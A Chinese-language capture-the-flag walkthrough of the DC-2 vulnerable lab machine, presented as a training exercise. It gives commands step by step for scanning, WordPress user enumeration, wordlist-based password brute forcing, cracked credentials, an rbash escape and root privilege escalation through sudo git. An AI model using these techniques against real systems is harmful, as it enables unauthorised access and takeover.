环境搭建
DC-1靶机 下载地址
kali 下载地址
将两台虚拟机都设置为nat模式
Flag 1
-
查看kali的ip地址
ip a
-
扫描网段,确定靶机ip
nmap 192.168.117.0/24
-
对靶机进行详细扫描
nmap -A 192.168.117.153 -p-
-
可以看到靶机开放80端口和端口号为7744的ssh服务,先浏览器访问主页
192.168.117.153
-
访问失败,会自动跳转为dc-2,需要在本地dns进行绑定
vim /etc/hosts i进入编辑模式,输入192.168.117.153 dc-2 ESC退出编辑模式 :wq--保存并退出
- 重新访问网页
- 在网页中发现Flag,进入找到Flag1
意思是:你通常的密码字典可能不起作用,所以,也许你只需要cewl。
密码越多越好,但有时候你不能全部都赢。
使用一个用户登录以查看下一个Flag。
如果找不到,请以其他身份登录。
提示—使用cewl工具;进行用户登录
Flag 2
-
找遍网页没有找到用户登录页面,用nikto或dirb扫描一下
nikto -h http://192.168.117.153
-
进入扫描到的登录页面
http://dc-2//wp-login.php
-
可以先尝试几个弱密码,Flag 1提示用cewl工具,但是首先需要可以登录的用户名;因为CMS是WordPress,而WordPress有一个著名的扫描工具wpscan,所以使用wpscan扫描
wpscan --url dc-2 -e u
-
扫描到三个用户,记录为用户字典
vim dc-2users.list admin tom jerry
-
使用cewl生成密码字典
cewl dc-2 -w dc-2.dic
-
使用wpscan开始密码爆破
wpscan --url dc-2 -U dc-2users.list -P dc-2.dic
-
使用tom的用户名和密码登录网页
tom parturient
-
没有找到有用信息,换jerry用户
jerry adipiscing
- 找到Flag 2
意思是:如果你不能利用WordPress并抄近路,还有另一种方法。
希望你找到了另一个入口。
提示—使用另一个开放的端口
Flag 3
-
尝试使用已知的密码进行ssh连接,如果密码错误则需要用hydra进行爆破,在这可以用tom登录
ssh tom@192.168.117.153 -p 7744 parturient
-
查看tom家目录下的文件,找到flag3.txt
-
查看flag3.txt,发现无法查看,tom用户没有使用cat命令的权限
cat flag3.txt
-
查看tom可以使用的命令字
compgen -c
-
使用vi查看flag3.txt
vi flag3.txt
意思是:可怜的老汤姆老是追杰瑞。也许他应该为他造成的所有压力负责。
提示—切换用户
Flag 4
-
发现tom无法使用su命令进行用户切换,进行rbash环境变量提权
BASH_CMDS[a]=/bin/sh;a //调用/bin/sh命令解释器 /bin/bash //使用bash命令解释器 export PATH=PATH:/bin:/sbin:/usr/bin:/usr/sbin //设置环境变量
-
查看tom可使用的命令
compgen -c
-
命令基本都可使用,进行用户切换
su jerry adipiscing
-
查看jerry家目录下文件
cd jerry/
-
发现flag4.txt,进行查看
cat flag4.txt
意思是:很高兴看到你已经走了这么远-但你还没有回家。
你仍然需要得到最后的flag(唯一真正重要的flag!!!).
这里没有提示-你现在就靠自己了。
Flag 5
-
没有权限进入root目录,要先提权,先看一下有sudo权限的命令
sudo -l
-
git有权限,就用git提权
sudo git help config //在末行命令模式输入 !/bin/bash 或 !'sh' //完成提权
-
进入root目录,找到finall-flag.txt
cd /root
-
查看final-flag.txt
cat final-flag.txt
总结
1.当访问一个ip地址时本地无法访问,自动跳转到域名,需要在etc/hosts文件中添加ip对应的域名
2.compgen -c 可以查看当前可用的命令字;而sudo -l可以查看有sodo权限的命令
3.可以通过添加或修改环境变量的方法来提权